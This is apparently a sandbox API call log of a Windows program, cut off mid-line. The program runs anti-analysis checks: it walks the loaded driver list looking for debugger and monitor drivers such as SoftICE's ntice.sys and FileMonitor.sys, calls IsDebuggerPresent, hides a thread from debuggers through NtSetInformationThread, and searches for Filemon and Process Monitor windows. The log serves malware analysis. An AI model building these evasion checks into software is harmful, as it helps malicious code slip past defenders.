lstrcmpiA (lpString1="ntice.sys", lpString2="TSDDD.dll") returned -1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="framebuf.dll") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="hidusb.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDCLASS.SYS") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="HIDPARSE.SYS") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="USBD.SYS") returned -1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="kbdhid.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="luafv.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="mouhid.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="lltdio.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="rspndr.sys") returned -1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="HTTP.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="bowser.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="mpsdrv.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb.sys") returned 1 [0259.497] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb10.sys") returned 1 [0259.498] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb20.sys") returned 1 [0259.498] lstrcmpiA (lpString1="ntice.sys", lpString2="ntdll.dll") returned 1 [0259.498] lstrcmpiA (lpString1="ntice.sys", lpString2="smss.exe") returned -1 [0259.498] lstrcmpiA (lpString1="ntice.sys", lpString2="apisetschema.dll") returned 1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="ntoskrnl.exe") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="hal.dll") returned 1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="kdcom.dll") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="mcupdate_GenuineIntel.dll") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="PSHED.dll") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="CLFS.SYS") returned 1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="CI.dll") returned 1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="Wdf01000.sys") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="WDFLDR.SYS") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="ACPI.sys") returned 1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="WMILIB.SYS") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="msisadrv.sys") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="pci.sys") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="vdrvroot.sys") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="partmgr.sys") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgr.sys") returned -1 [0259.499] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgrx.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="mountmgr.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="atapi.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="ataport.SYS") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="msahci.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="PCIIDEX.SYS") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="amdxata.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="fltmgr.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="fileinfo.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="Ntfs.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="msrpc.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecdd.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="cng.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="pcw.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="Fs_Rec.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="ndis.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="NETIO.SYS") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecpkg.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="tcpip.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="fwpkclnt.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="vmstorfl.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="volsnap.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="spldr.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="rdyboost.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="mup.sys") returned -1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="hwpolicy.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="fvevol.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="disk.sys") returned 1 [0259.500] lstrcmpiA (lpString1="iceext.sys", lpString2="CLASSPNP.SYS") returned 1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="Null.SYS") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="Beep.SYS") returned 1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="vga.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="VIDEOPRT.SYS") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="watchdog.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="RDPCDD.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpencdd.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="rdprefmp.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="Msfs.SYS") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="Npfs.SYS") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="tdx.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="TDI.SYS") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="afd.sys") returned 1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="netbt.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="wfplwf.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="pacer.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="netbios.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="wanarp.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="termdd.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="rdbss.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="nsiproxy.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="mssmbios.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="discache.sys") returned 1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="csc.sys") returned 1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="dfsc.sys") returned 1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="blbdrive.sys") returned 1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="tunnel.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="vgapnp.sys") returned -1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="HDAudBus.sys") returned 1 [0259.501] lstrcmpiA (lpString1="iceext.sys", lpString2="usbehci.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="USBPORT.SYS") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="E1G6032E.sys") returned 1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="intelppm.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="CompositeBus.sys") returned 1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="AgileVpn.sys") returned 1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="rasl2tp.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="ndistapi.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="ndiswan.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="raspppoe.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="raspptp.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="rassstp.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpbus.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdclass.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="mouclass.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="swenum.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="ks.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="umbus.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="usbhub.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="NDProxy.SYS") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="HdAudio.sys") returned 1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="portcls.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="drmk.sys") returned 1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="ksthunk.sys") returned -1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="crashdmp.sys") returned 1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpata.sys") returned 1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_msahci.sys") returned 1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpfve.sys") returned 1 [0259.502] lstrcmpiA (lpString1="iceext.sys", lpString2="win32k.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="Dxapi.sys") returned 1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="dxg.sys") returned 1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="monitor.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="TSDDD.dll") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="framebuf.dll") returned 1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="hidusb.sys") returned 1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDCLASS.SYS") returned 1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDPARSE.SYS") returned 1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="USBD.SYS") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdhid.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="luafv.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="mouhid.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="lltdio.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="rspndr.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="HTTP.sys") returned 1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="bowser.sys") returned 1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="mpsdrv.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="mrxsmb.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="mrxsmb10.sys") returned -1 [0259.503] lstrcmpiA (lpString1="iceext.sys", lpString2="mrxsmb20.sys") returned -1 [0259.511] IsDebuggerPresent () returned 0 [0259.512] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0259.513] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0259.513] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0259.513] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0259.513] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0259.513] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x250000 [0259.513] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77350000 [0259.514] GetProcAddress (hModule=0x77350000, lpProcName="NtQuerySystemInformation") returned 0x7736fda0 [0259.514] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x250000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x250000, ResultLength=0x0) returned 0x0 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntoskrnl.exe") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hal.dll") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kdcom.dll") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mcupdate_Genuin") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PSHED.dll") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLFS.SYS") returned 1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CI.dll") returned 1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wdf01000.sys") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WDFLDR.SYS") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ACPI.sys") returned 1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WMILIB.SYS") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msisadrv.sys") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pci.sys") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vdrvroot.sys") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="partmgr.sys") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgr.sys") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgrx.sys") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mountmgr.sys") returned -1 [0259.514] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="atapi.sys") returned 1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ataport.SYS") returned 1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msahci.sys") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PCIIDEX.SYS") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="amdxata.sys") returned 1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fltmgr.sys") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fileinfo.sys") returned 1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Ntfs.sys") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msrpc.sys") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecdd.sys") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cng.sys") returned 1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pcw.sys") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Fs_Rec.sys") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndis.sys") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NETIO.SYS") returned -1 [0259.515] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecpkg.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpip.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fwpkclnt.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vmstorfl.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volsnap.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="spldr.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdyboost.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mup.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hwpolicy.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fvevol.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="disk.sys") returned 1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLASSPNP.SYS") returned 1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Null.SYS") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Beep.SYS") returned 1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vga.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="VIDEOPRT.SYS") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="watchdog.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="RDPCDD.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpencdd.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdprefmp.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Msfs.SYS") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Npfs.SYS") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tdx.sys") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TDI.SYS") returned -1 [0259.516] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="afd.sys") returned 1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbt.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wfplwf.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pacer.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbios.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wanarp.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="termdd.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdbss.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="nsiproxy.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mssmbios.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="discache.sys") returned 1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="csc.sys") returned 1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dfsc.sys") returned 1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="blbdrive.sys") returned 1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tunnel.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vgapnp.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HDAudBus.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbehci.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBPORT.SYS") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="E1G6032E.sys") returned 1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelppm.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CompositeBus.sy") returned 1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="AgileVpn.sys") returned 1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rasl2tp.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndistapi.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndiswan.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspppoe.sys") returned -1 [0259.517] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="raspptp.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rassstp.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpbus.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdclass.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouclass.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="swenum.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ks.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="umbus.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbhub.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NDProxy.SYS") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HdAudio.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="portcls.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="drmk.sys") returned 1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksthunk.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="crashdmp.sys") returned 1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpata.sy") returned 1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_msahci.sys") returned 1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpfve.sy") returned 1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32k.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Dxapi.sys") returned 1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxg.sys") returned 1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="monitor.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TSDDD.dll") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="framebuf.dll") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hidusb.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDCLASS.SYS") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDPARSE.SYS") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBD.SYS") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdhid.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="luafv.sys") returned -1 [0259.518] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouhid.sys") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="lltdio.sys") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rspndr.sys") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HTTP.sys") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="bowser.sys") returned 1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mpsdrv.sys") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb.sys") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb10.sys") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb20.sys") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntdll.dll") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="smss.exe") returned -1 [0259.519] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="apisetschema.dl") returned 1 [0259.519] lstrcmpiA (lpString1="Filem", lpString2="ntosk") returned -1 [0259.519] lstrcmpiA (lpString1="Filem", lpString2="hal.d") returned -1 [0259.519] lstrcmpiA (lpString1="Filem", lpString2="kdcom") returned -1 [0259.519] lstrcmpiA (lpString1="Filem", lpString2="mcupd") returned -1 [0259.519] lstrcmpiA (lpString1="Filem", lpString2="PSHED") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="CLFS.") returned 1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="CI.dl") returned 1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="Wdf01") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="WDFLD") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="ACPI.") returned 1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="WMILI") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="msisa") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="pci.s") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="vdrvr") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="partm") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="mount") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="atapi") returned 1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="atapo") returned 1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="msahc") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="PCIID") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="amdxa") returned 1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="fltmg") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="filei") returned 1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="Ntfs.") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="msrpc") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="ksecd") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="cng.s") returned 1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="pcw.s") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="Fs_Re") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="ndis.") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="NETIO") returned -1 [0259.520] lstrcmpiA (lpString1="Filem", lpString2="ksecp") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="tcpip") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="fwpkc") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="vmsto") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="volsn") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="spldr") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="rdybo") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="mup.s") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="hwpol") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="fvevo") returned -1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="disk.") returned 1 [0259.521] lstrcmpiA (lpString1="Filem", lpString2="CLASS") returned 1 [0259.521] lstrcmpiA (lpString1="Filem", 